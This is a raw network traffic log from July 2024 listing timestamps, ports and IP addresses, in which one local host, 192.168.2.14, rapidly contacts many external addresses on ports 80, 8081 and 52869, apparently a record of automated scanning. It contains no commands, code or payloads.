Jul 20, 2024 23:01:03.089164019 CEST	8081	51218	53.211.14.190	192.168.2.14
Jul 20, 2024 23:01:03.089307070 CEST	8081	46342	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:03.089310884 CEST	80	41834	88.136.211.68	192.168.2.14
Jul 20, 2024 23:01:03.089591980 CEST	43796	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:03.089592934 CEST	46342	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:03.089592934 CEST	41834	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:03.090218067 CEST	54000	52869	192.168.2.14	54.198.216.131
Jul 20, 2024 23:01:03.090219021 CEST	51218	8081	192.168.2.14	53.211.14.190
Jul 20, 2024 23:01:03.090219021 CEST	45694	80	192.168.2.14	88.96.118.126
Jul 20, 2024 23:01:03.090262890 CEST	60450	52869	192.168.2.14	220.158.230.42
Jul 20, 2024 23:01:03.090545893 CEST	56630	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:03.091490030 CEST	80	39316	88.198.159.217	192.168.2.14
Jul 20, 2024 23:01:03.091717958 CEST	43462	52869	192.168.2.14	99.58.61.9
Jul 20, 2024 23:01:03.092588902 CEST	52869	44526	40.180.122.90	192.168.2.14
Jul 20, 2024 23:01:03.093584061 CEST	48730	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:03.093899965 CEST	52869	37992	64.213.179.125	192.168.2.14
Jul 20, 2024 23:01:03.093967915 CEST	37992	52869	192.168.2.14	64.213.179.125
Jul 20, 2024 23:01:03.094192028 CEST	58488	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:03.094218016 CEST	39316	80	192.168.2.14	88.198.159.217
Jul 20, 2024 23:01:03.094230890 CEST	44526	52869	192.168.2.14	40.180.122.90
Jul 20, 2024 23:01:03.094772100 CEST	8081	43796	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:03.094813108 CEST	43796	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:03.095355034 CEST	8081	46342	32.171.105.186	192.168.2.14
Jul 20, 2024 23:01:03.095433950 CEST	80	56630	88.90.229.82	192.168.2.14
Jul 20, 2024 23:01:03.095495939 CEST	56630	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:03.095813036 CEST	80	41834	88.136.211.68	192.168.2.14
Jul 20, 2024 23:01:03.096616030 CEST	52869	43462	99.58.61.9	192.168.2.14
Jul 20, 2024 23:01:03.096659899 CEST	43462	52869	192.168.2.14	99.58.61.9
Jul 20, 2024 23:01:03.096914053 CEST	49814	52869	192.168.2.14	60.144.29.97
Jul 20, 2024 23:01:03.097572088 CEST	59652	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:03.098221064 CEST	46342	8081	192.168.2.14	32.171.105.186
Jul 20, 2024 23:01:03.098221064 CEST	41834	80	192.168.2.14	88.136.211.68
Jul 20, 2024 23:01:03.098614931 CEST	49650	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:03.099010944 CEST	8081	48730	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:03.099071026 CEST	48730	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:03.099154949 CEST	80	58488	88.48.205.88	192.168.2.14
Jul 20, 2024 23:01:03.099190950 CEST	58488	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:03.099426985 CEST	52869	37992	64.213.179.125	192.168.2.14
Jul 20, 2024 23:01:03.100213051 CEST	8081	43796	23.140.200.107	192.168.2.14
Jul 20, 2024 23:01:03.100227118 CEST	42764	52869	192.168.2.14	162.138.211.72
Jul 20, 2024 23:01:03.100632906 CEST	80	56630	88.90.229.82	192.168.2.14
Jul 20, 2024 23:01:03.102067947 CEST	52869	49814	60.144.29.97	192.168.2.14
Jul 20, 2024 23:01:03.102121115 CEST	49814	52869	192.168.2.14	60.144.29.97
Jul 20, 2024 23:01:03.102216005 CEST	56630	80	192.168.2.14	88.90.229.82
Jul 20, 2024 23:01:03.102216005 CEST	37992	52869	192.168.2.14	64.213.179.125
Jul 20, 2024 23:01:03.102221966 CEST	43796	8081	192.168.2.14	23.140.200.107
Jul 20, 2024 23:01:03.102294922 CEST	39474	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:03.102545023 CEST	8081	59652	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:03.102579117 CEST	59652	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:03.102617979 CEST	41084	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:03.103323936 CEST	52869	43462	99.58.61.9	192.168.2.14
Jul 20, 2024 23:01:03.103713036 CEST	80	49650	88.107.137.43	192.168.2.14
Jul 20, 2024 23:01:03.103765965 CEST	49650	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:03.104392052 CEST	8081	48730	176.44.102.100	192.168.2.14
Jul 20, 2024 23:01:03.104993105 CEST	80	58488	88.48.205.88	192.168.2.14
Jul 20, 2024 23:01:03.105541945 CEST	52869	42764	162.138.211.72	192.168.2.14
Jul 20, 2024 23:01:03.105796099 CEST	55550	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:03.106215954 CEST	58488	80	192.168.2.14	88.48.205.88
Jul 20, 2024 23:01:03.106216908 CEST	43462	52869	192.168.2.14	99.58.61.9
Jul 20, 2024 23:01:03.106255054 CEST	48730	8081	192.168.2.14	176.44.102.100
Jul 20, 2024 23:01:03.106627941 CEST	41670	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:03.107261896 CEST	50732	52869	192.168.2.14	206.233.127.191
Jul 20, 2024 23:01:03.107604027 CEST	8081	39474	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:03.107811928 CEST	39474	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:03.107974052 CEST	42764	52869	192.168.2.14	162.138.211.72
Jul 20, 2024 23:01:03.108091116 CEST	52869	49814	60.144.29.97	192.168.2.14
Jul 20, 2024 23:01:03.108395100 CEST	80	41084	88.154.139.67	192.168.2.14
Jul 20, 2024 23:01:03.108408928 CEST	8081	59652	96.68.58.54	192.168.2.14
Jul 20, 2024 23:01:03.108463049 CEST	41084	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:03.108932972 CEST	80	49650	88.107.137.43	192.168.2.14
Jul 20, 2024 23:01:03.110224962 CEST	49814	52869	192.168.2.14	60.144.29.97
Jul 20, 2024 23:01:03.110234022 CEST	49650	80	192.168.2.14	88.107.137.43
Jul 20, 2024 23:01:03.110249996 CEST	59652	8081	192.168.2.14	96.68.58.54
Jul 20, 2024 23:01:03.110366106 CEST	59306	52869	192.168.2.14	59.126.120.18
Jul 20, 2024 23:01:03.110721111 CEST	8081	55550	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:03.110757113 CEST	55550	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:03.111783028 CEST	51436	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:03.111819029 CEST	80	41670	88.139.140.250	192.168.2.14
Jul 20, 2024 23:01:03.111897945 CEST	41670	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:03.112154007 CEST	49294	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:03.112787962 CEST	52869	50732	206.233.127.191	192.168.2.14
Jul 20, 2024 23:01:03.113662004 CEST	50732	52869	192.168.2.14	206.233.127.191
Jul 20, 2024 23:01:03.113703012 CEST	8081	39474	177.132.248.43	192.168.2.14
Jul 20, 2024 23:01:03.114032030 CEST	52869	42764	162.138.211.72	192.168.2.14
Jul 20, 2024 23:01:03.114218950 CEST	42764	52869	192.168.2.14	162.138.211.72
Jul 20, 2024 23:01:03.114228964 CEST	39474	8081	192.168.2.14	177.132.248.43
Jul 20, 2024 23:01:03.114336014 CEST	80	41084	88.154.139.67	192.168.2.14
Jul 20, 2024 23:01:03.114907026 CEST	43400	52869	192.168.2.14	116.111.12.206
Jul 20, 2024 23:01:03.115484953 CEST	52869	59306	59.126.120.18	192.168.2.14
Jul 20, 2024 23:01:03.115529060 CEST	59306	52869	192.168.2.14	59.126.120.18
Jul 20, 2024 23:01:03.115571976 CEST	34562	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:03.116611004 CEST	8081	51436	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:03.116660118 CEST	51436	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:03.116729021 CEST	48624	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:03.117609978 CEST	8081	55550	62.17.178.212	192.168.2.14
Jul 20, 2024 23:01:03.117780924 CEST	80	49294	88.216.145.189	192.168.2.14
Jul 20, 2024 23:01:03.118223906 CEST	41084	80	192.168.2.14	88.154.139.67
Jul 20, 2024 23:01:03.118235111 CEST	49294	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:03.118305922 CEST	55550	8081	192.168.2.14	62.17.178.212
Jul 20, 2024 23:01:03.118313074 CEST	38754	52869	192.168.2.14	156.230.140.45
Jul 20, 2024 23:01:03.118716002 CEST	80	41670	88.139.140.250	192.168.2.14
Jul 20, 2024 23:01:03.119373083 CEST	52869	50732	206.233.127.191	192.168.2.14
Jul 20, 2024 23:01:03.119955063 CEST	51954	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:03.120135069 CEST	52869	43400	116.111.12.206	192.168.2.14
Jul 20, 2024 23:01:03.120218039 CEST	43400	52869	192.168.2.14	116.111.12.206
Jul 20, 2024 23:01:03.120239019 CEST	34174	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:03.120966911 CEST	8081	34562	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:03.121016026 CEST	34562	8081	192.168.2.14	208.165.97.163
Jul 20, 2024 23:01:03.121510983 CEST	52869	59306	59.126.120.18	192.168.2.14
Jul 20, 2024 23:01:03.121860027 CEST	80	48624	88.78.79.230	192.168.2.14
Jul 20, 2024 23:01:03.122159958 CEST	48624	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:03.122226000 CEST	50732	52869	192.168.2.14	206.233.127.191
Jul 20, 2024 23:01:03.122246027 CEST	41670	80	192.168.2.14	88.139.140.250
Jul 20, 2024 23:01:03.122354031 CEST	59306	52869	192.168.2.14	59.126.120.18
Jul 20, 2024 23:01:03.122385025 CEST	8081	51436	218.35.247.228	192.168.2.14
Jul 20, 2024 23:01:03.123804092 CEST	42766	52869	192.168.2.14	149.86.2.31
Jul 20, 2024 23:01:03.124047041 CEST	80	49294	88.216.145.189	192.168.2.14
Jul 20, 2024 23:01:03.124052048 CEST	52869	38754	156.230.140.45	192.168.2.14
Jul 20, 2024 23:01:03.124099970 CEST	38754	52869	192.168.2.14	156.230.140.45
Jul 20, 2024 23:01:03.124757051 CEST	52960	8081	192.168.2.14	145.253.154.42
Jul 20, 2024 23:01:03.124917984 CEST	8081	51954	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:03.125317097 CEST	51954	8081	192.168.2.14	106.66.73.10
Jul 20, 2024 23:01:03.125444889 CEST	52869	43400	116.111.12.206	192.168.2.14
Jul 20, 2024 23:01:03.125449896 CEST	80	34174	88.205.0.223	192.168.2.14
Jul 20, 2024 23:01:03.125485897 CEST	59244	80	192.168.2.14	88.193.181.65
Jul 20, 2024 23:01:03.125581026 CEST	34174	80	192.168.2.14	88.205.0.223
Jul 20, 2024 23:01:03.126219988 CEST	49294	80	192.168.2.14	88.216.145.189
Jul 20, 2024 23:01:03.126219988 CEST	43400	52869	192.168.2.14	116.111.12.206
Jul 20, 2024 23:01:03.126224995 CEST	51436	8081	192.168.2.14	218.35.247.228
Jul 20, 2024 23:01:03.126724005 CEST	50165	8081	192.168.2.14	73.23.234.220
Jul 20, 2024 23:01:03.126724005 CEST	50165	8081	192.168.2.14	95.137.144.201
Jul 20, 2024 23:01:03.126722097 CEST	50165	8081	192.168.2.14	68.170.190.104
Jul 20, 2024 23:01:03.126722097 CEST	50165	8081	192.168.2.14	31.87.180.185
Jul 20, 2024 23:01:03.126729965 CEST	50165	8081	192.168.2.14	48.64.83.44
Jul 20, 2024 23:01:03.126738071 CEST	50165	8081	192.168.2.14	59.37.227.67
Jul 20, 2024 23:01:03.126749039 CEST	50165	8081	192.168.2.14	34.242.74.202
Jul 20, 2024 23:01:03.126765966 CEST	50165	8081	192.168.2.14	141.126.51.250
Jul 20, 2024 23:01:03.126776934 CEST	50165	8081	192.168.2.14	58.102.190.118
Jul 20, 2024 23:01:03.126776934 CEST	50165	8081	192.168.2.14	218.9.118.15
Jul 20, 2024 23:01:03.126790047 CEST	50165	8081	192.168.2.14	45.157.196.111
Jul 20, 2024 23:01:03.126821041 CEST	50165	8081	192.168.2.14	167.27.216.116
Jul 20, 2024 23:01:03.126821995 CEST	50165	8081	192.168.2.14	79.211.52.71
Jul 20, 2024 23:01:03.126821995 CEST	50165	8081	192.168.2.14	206.55.198.219
Jul 20, 2024 23:01:03.126821995 CEST	50165	8081	192.168.2.14	151.100.141.139
Jul 20, 2024 23:01:03.126821995 CEST	50165	8081	192.168.2.14	210.208.35.11
Jul 20, 2024 23:01:03.126863956 CEST	50165	8081	192.168.2.14	4.166.161.189
Jul 20, 2024 23:01:03.126863956 CEST	50165	8081	192.168.2.14	211.156.106.255
Jul 20, 2024 23:01:03.126894951 CEST	50165	8081	192.168.2.14	114.57.162.85
Jul 20, 2024 23:01:03.126894951 CEST	50165	8081	192.168.2.14	93.39.240.161
Jul 20, 2024 23:01:03.126895905 CEST	50165	8081	192.168.2.14	77.195.15.125
Jul 20, 2024 23:01:03.126895905 CEST	50165	8081	192.168.2.14	200.178.220.201
Jul 20, 2024 23:01:03.126895905 CEST	50165	8081	192.168.2.14	168.238.100.205
Jul 20, 2024 23:01:03.126920938 CEST	50165	8081	192.168.2.14	168.84.36.47
Jul 20, 2024 23:01:03.126920938 CEST	50165	8081	192.168.2.14	76.137.1.53
Jul 20, 2024 23:01:03.126920938 CEST	50165	8081	192.168.2.14	223.6.214.55
Jul 20, 2024 23:01:03.126920938 CEST	50165	8081	192.168.2.14	166.110.126.109
Jul 20, 2024 23:01:03.126920938 CEST	50165	8081	192.168.2.14	180.41.228.30
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	59.81.177.131
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	196.239.25.39
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	124.175.87.112
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	221.34.154.226
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	142.34.199.184
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	171.33.48.226
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	17.94.44.52
Jul 20, 2024 23:01:03.126993895 CEST	50165	8081	192.168.2.14	187.16.144.121
Jul 20, 2024 23:01:03.127017021 CEST	50165	8081	192.168.2.14	87.196.173.71
Jul 20, 2024 23:01:03.127017021 CEST	50165	8081	192.168.2.14	192.4.66.34
Jul 20, 2024 23:01:03.127017021 CEST	50165	8081	192.168.2.14	90.113.221.252
Jul 20, 2024 23:01:03.127017021 CEST	50165	8081	192.168.2.14	62.66.147.200
Jul 20, 2024 23:01:03.127017021 CEST	50165	8081	192.168.2.14	93.78.244.21
Jul 20, 2024 23:01:03.127017021 CEST	50165	8081	192.168.2.14	179.106.246.126
Jul 20, 2024 23:01:03.127017021 CEST	50165	8081	192.168.2.14	2.15.3.152
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	135.170.252.96
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	43.201.212.144
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	194.114.174.13
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	158.9.61.147
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	113.110.122.101
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	199.218.192.195
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	95.192.220.132
Jul 20, 2024 23:01:03.127171040 CEST	50165	8081	192.168.2.14	151.201.166.1
Jul 20, 2024 23:01:03.127428055 CEST	50165	8081	192.168.2.14	204.29.155.209
Jul 20, 2024 23:01:03.127428055 CEST	50165	8081	192.168.2.14	150.126.245.222
Jul 20, 2024 23:01:03.127428055 CEST	50165	8081	192.168.2.14	218.97.122.254
Jul 20, 2024 23:01:03.127429008 CEST	50165	8081	192.168.2.14	12.33.225.1
Jul 20, 2024 23:01:03.127429008 CEST	50165	8081	192.168.2.14	120.153.161.123
Jul 20, 2024 23:01:03.127429008 CEST	50165	8081	192.168.2.14	91.12.68.72
Jul 20, 2024 23:01:03.127429008 CEST	50165	8081	192.168.2.14	207.80.12.0
Jul 20, 2024 23:01:03.127429008 CEST	50165	8081	192.168.2.14	77.88.180.129
Jul 20, 2024 23:01:03.127599001 CEST	8081	34562	208.165.97.163	192.168.2.14
Jul 20, 2024 23:01:03.127979040 CEST	50165	8081	192.168.2.14	131.2.150.33
Jul 20, 2024 23:01:03.127979040 CEST	50165	8081	192.168.2.14	149.49.63.147
Jul 20, 2024 23:01:03.127979040 CEST	50165	8081	192.168.2.14	156.190.124.56
Jul 20, 2024 23:01:03.127979040 CEST	50165	8081	192.168.2.14	136.94.164.35
Jul 20, 2024 23:01:03.127979040 CEST	50165	8081	192.168.2.14	118.120.59.187
Jul 20, 2024 23:01:03.127979040 CEST	50165	8081	192.168.2.14	222.64.97.219
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	81.252.75.32
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	80.117.177.10
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	53.112.237.25
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	217.106.240.171
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	197.7.168.116
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	139.124.84.30
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	137.190.170.238
Jul 20, 2024 23:01:03.128017902 CEST	50165	8081	192.168.2.14	141.117.128.146
Jul 20, 2024 23:01:03.128170967 CEST	50165	8081	192.168.2.14	69.16.232.195
Jul 20, 2024 23:01:03.128170967 CEST	50165	8081	192.168.2.14	74.155.53.80
Jul 20, 2024 23:01:03.128170967 CEST	50165	8081	192.168.2.14	17.240.246.239
Jul 20, 2024 23:01:03.128170967 CEST	50165	8081	192.168.2.14	159.219.193.66
Jul 20, 2024 23:01:03.128170967 CEST	50165	8081	192.168.2.14	206.249.71.199
Jul 20, 2024 23:01:03.128170967 CEST	50165	8081	192.168.2.14	109.20.3.201
Jul 20, 2024 23:01:03.128171921 CEST	50165	8081	192.168.2.14	88.133.224.82
Jul 20, 2024 23:01:03.128171921 CEST	50165	8081	192.168.2.14	95.31.190.184
Jul 20, 2024 23:01:03.128495932 CEST	80	48624	88.78.79.230	192.168.2.14
Jul 20, 2024 23:01:03.128504992 CEST	50165	8081	192.168.2.14	51.144.222.200
Jul 20, 2024 23:01:03.128670931 CEST	50165	8081	192.168.2.14	96.224.186.197
Jul 20, 2024 23:01:03.128670931 CEST	50165	8081	192.168.2.14	83.215.156.1
Jul 20, 2024 23:01:03.128670931 CEST	50165	8081	192.168.2.14	171.100.8.248
Jul 20, 2024 23:01:03.128670931 CEST	50165	8081	192.168.2.14	42.101.209.247
Jul 20, 2024 23:01:03.128993988 CEST	50165	8081	192.168.2.14	193.15.250.199
Jul 20, 2024 23:01:03.128993988 CEST	50165	8081	192.168.2.14	86.89.249.24
Jul 20, 2024 23:01:03.128993988 CEST	50165	8081	192.168.2.14	89.198.248.138
Jul 20, 2024 23:01:03.128993988 CEST	50165	8081	192.168.2.14	51.254.100.5
Jul 20, 2024 23:01:03.128993988 CEST	50165	8081	192.168.2.14	25.208.249.240
Jul 20, 2024 23:01:03.128993988 CEST	50165	8081	192.168.2.14	88.160.145.85
Jul 20, 2024 23:01:03.128993988 CEST	50165	8081	192.168.2.14	20.137.209.156
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	69.234.93.102
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	191.63.84.95
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	149.238.160.62
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	195.147.175.84
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	12.73.226.47
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	85.229.137.103
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	128.33.133.115
Jul 20, 2024 23:01:03.129024029 CEST	50165	8081	192.168.2.14	54.182.45.80
Jul 20, 2024 23:01:03.129322052 CEST	52869	42766	149.86.2.31	192.168.2.14
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	138.86.91.118
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	199.43.242.95
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	20.178.178.52
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	164.131.122.172
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	148.236.132.228
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	165.57.21.53
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	182.6.187.216
Jul 20, 2024 23:01:03.129861116 CEST	50165	8081	192.168.2.14	19.162.151.227
Jul 20, 2024 23:01:03.130124092 CEST	52869	38754	156.230.140.45	192.168.2.14
Jul 20, 2024 23:01:03.130244970 CEST	50165	8081	192.168.2.14	48.155.245.112
Jul 20, 2024 23:01:03.130244970 CEST	50165	8081	192.168.2.14	18.251.218.61
Jul 20, 2024 23:01:03.130274057 CEST	50165	8081	192.168.2.14	74.138.135.67
Jul 20, 2024 23:01:03.130274057 CEST	50165	8081	192.168.2.14	98.94.233.213
Jul 20, 2024 23:01:03.130274057 CEST	50165	8081	192.168.2.14	210.191.137.200
Jul 20, 2024 23:01:03.130274057 CEST	50165	8081	192.168.2.14	81.62.143.152
Jul 20, 2024 23:01:03.130274057 CEST	50165	8081	192.168.2.14	19.163.170.72
Jul 20, 2024 23:01:03.130274057 CEST	50165	8081	192.168.2.14	182.137.253.207
Jul 20, 2024 23:01:03.130275011 CEST	50165	8081	192.168.2.14	189.212.45.207
Jul 20, 2024 23:01:03.130275011 CEST	50165	8081	192.168.2.14	85.14.239.116
Jul 20, 2024 23:01:03.130517006 CEST	50165	8081	192.168.2.14	79.21.177.86
Jul 20, 2024 23:01:03.130517006 CEST	50165	8081	192.168.2.14	101.59.229.194
Jul 20, 2024 23:01:03.130517006 CEST	50165	8081	192.168.2.14	60.165.116.234
Jul 20, 2024 23:01:03.130517960 CEST	50165	8081	192.168.2.14	40.201.17.157
Jul 20, 2024 23:01:03.130517960 CEST	50165	8081	192.168.2.14	154.179.75.214
Jul 20, 2024 23:01:03.130517960 CEST	50165	8081	192.168.2.14	5.169.14.247
Jul 20, 2024 23:01:03.130517960 CEST	50165	8081	192.168.2.14	158.183.44.215
Jul 20, 2024 23:01:03.130517960 CEST	36146	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:03.130702972 CEST	80	59244	88.193.181.65	192.168.2.14
Jul 20, 2024 23:01:03.130712986 CEST	8081	52960	145.253.154.42	192.168.2.14
Jul 20, 2024 23:01:03.130722046 CEST	50165	8081	192.168.2.14	23.224.28.141
Jul 20, 2024 23:01:03.130722046 CEST	50165	8081	192.168.2.14	168.60.196.27
Jul 20, 2024 23:01:03.130722046 CEST	50165	8081	192.168.2.14	32.135.222.240
Jul 20, 2024 23:01:03.130722046 CEST	50165	8081	192.168.2.14	223.191.28.51
Jul 20, 2024 23:01:03.130722046 CEST	50165	8081	192.168.2.14	166.156.153.201
Jul 20, 2024 23:01:03.130722046 CEST	50165	8081	192.168.2.14	84.12.189.189
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	106.95.70.134
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	57.80.205.230
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	46.95.134.1
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	72.73.1.211
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	34.222.132.243
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	108.30.200.108
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	107.224.159.200
Jul 20, 2024 23:01:03.131145954 CEST	50165	8081	192.168.2.14	73.115.55.44
Jul 20, 2024 23:01:03.131187916 CEST	8081	51954	106.66.73.10	192.168.2.14
Jul 20, 2024 23:01:03.131192923 CEST	80	34174	88.205.0.223	192.168.2.14
Jul 20, 2024 23:01:03.131520987 CEST	52960	8081	192.168.2.14	145.253.154.42
Jul 20, 2024 23:01:03.131712914 CEST	50165	8081	192.168.2.14	106.82.98.84
Jul 20, 2024 23:01:03.131712914 CEST	50165	8081	192.168.2.14	216.48.158.213
Jul 20, 2024 23:01:03.131712914 CEST	50165	8081	192.168.2.14	157.216.5.91
Jul 20, 2024 23:01:03.131712914 CEST	50165	8081	192.168.2.14	112.122.219.83
Jul 20, 2024 23:01:03.131712914 CEST	50165	8081	192.168.2.14	35.45.128.64
Jul 20, 2024 23:01:03.131714106 CEST	50165	8081	192.168.2.14	86.178.137.141
Jul 20, 2024 23:01:03.131714106 CEST	50165	8081	192.168.2.14	147.223.171.167
Jul 20, 2024 23:01:03.131714106 CEST	50165	8081	192.168.2.14	126.101.23.249
Jul 20, 2024 23:01:03.131958008 CEST	8081	50165	95.137.144.201	192.168.2.14
Jul 20, 2024 23:01:03.131963968 CEST	8081	50165	59.37.227.67	192.168.2.14
Jul 20, 2024 23:01:03.132002115 CEST	8081	50165	45.157.196.111	192.168.2.14
Jul 20, 2024 23:01:03.132006884 CEST	8081	50165	141.126.51.250	192.168.2.14
Jul 20, 2024 23:01:03.132016897 CEST	8081	50165	34.242.74.202	192.168.2.14
Jul 20, 2024 23:01:03.132020950 CEST	8081	50165	58.102.190.118	192.168.2.14
Jul 20, 2024 23:01:03.132020950 CEST	50165	8081	192.168.2.14	59.37.227.67
Jul 20, 2024 23:01:03.132031918 CEST	8081	50165	114.57.162.85	192.168.2.14
Jul 20, 2024 23:01:03.132038116 CEST	8081	50165	73.23.234.220	192.168.2.14
Jul 20, 2024 23:01:03.132045984 CEST	8081	50165	218.9.118.15	192.168.2.14
Jul 20, 2024 23:01:03.132052898 CEST	50165	8081	192.168.2.14	58.102.190.118
Jul 20, 2024 23:01:03.132325888 CEST	50165	8081	192.168.2.14	150.90.180.101
Jul 20, 2024 23:01:03.132325888 CEST	48624	80	192.168.2.14	88.78.79.230
Jul 20, 2024 23:01:03.132325888 CEST	50165	8081	192.168.2.14	95.137.144.201
Jul 20, 2024 23:01:03.132325888 CEST	50165	8081	192.168.2.14	141.126.51.250
Jul 20, 2024 23:01:03.132325888 CEST	50165	8081	192.168.2.14	114.57.162.85
Jul 20, 2024 23:01:03.132428885 CEST	8081	50165	167.27.216.116	192.168.2.14
Jul 20, 2024 23:01:03.132433891 CEST	8081	50165	4.166.161.189	192.168.2.14
Jul 20, 2024 23:01:03.132447958 CEST	8081	50165	79.211.52.71	192.168.2.14
Jul 20, 2024 23:01:03.132457018 CEST	8081	50165	211.156.106.255	192.168.2.14
Jul 20, 2024 23:01:03.132462025 CEST	8081	50165	68.170.190.104	192.168.2.14
Jul 20, 2024 23:01:03.132524014 CEST	36146	8081	192.168.2.14	62.246.141.35
Jul 20, 2024 23:01:03.132524967 CEST	50165	8081	192.168.2.14	45.157.196.111
Jul 20, 2024 23:01:03.132524967 CEST	50165	8081	192.168.2.14	4.166.161.189
Jul 20, 2024 23:01:03.132524967 CEST	50165	8081	192.168.2.14	211.156.106.255
Jul 20, 2024 23:01:03.132528067 CEST	50165	8081	192.168.2.14	167.27.216.116
Jul 20, 2024 23:01:03.132528067 CEST	50165	8081	192.168.2.14	79.211.52.71
Jul 20, 2024 23:01:03.132549047 CEST	8081	50165	135.170.252.96	192.168.2.14
Jul 20, 2024 23:01:03.132554054 CEST	8081	50165	59.81.177.131	192.168.2.14
Jul 20, 2024 23:01:03.132564068 CEST	8081	50165	93.39.240.161	192.168.2.14
Jul 20, 2024 23:01:03.132652998 CEST	50165	8081	192.168.2.14	218.9.118.15
Jul 20, 2024 23:01:03.132761955 CEST	8081	50165	31.87.180.185	192.168.2.14
Jul 20, 2024 23:01:03.132766962 CEST	8081	50165	206.55.198.219	192.168.2.14
Jul 20, 2024 23:01:03.132776022 CEST	8081	50165	77.195.15.125	192.168.2.14
Jul 20, 2024 23:01:03.132781029 CEST	8081	50165	168.84.36.47	192.168.2.14
Jul 20, 2024 23:01:03.132788897 CEST	8081	50165	196.239.25.39	192.168.2.14
Jul 20, 2024 23:01:03.132806063 CEST	50165	8081	192.168.2.14	73.23.234.220
Jul 20, 2024 23:01:03.132806063 CEST	50165	8081	192.168.2.14	59.81.177.131
Jul 20, 2024 23:01:03.132920027 CEST	8081	50165	87.196.173.71	192.168.2.14
Jul 20, 2024 23:01:03.132925034 CEST	8081	50165	200.178.220.201	192.168.2.14
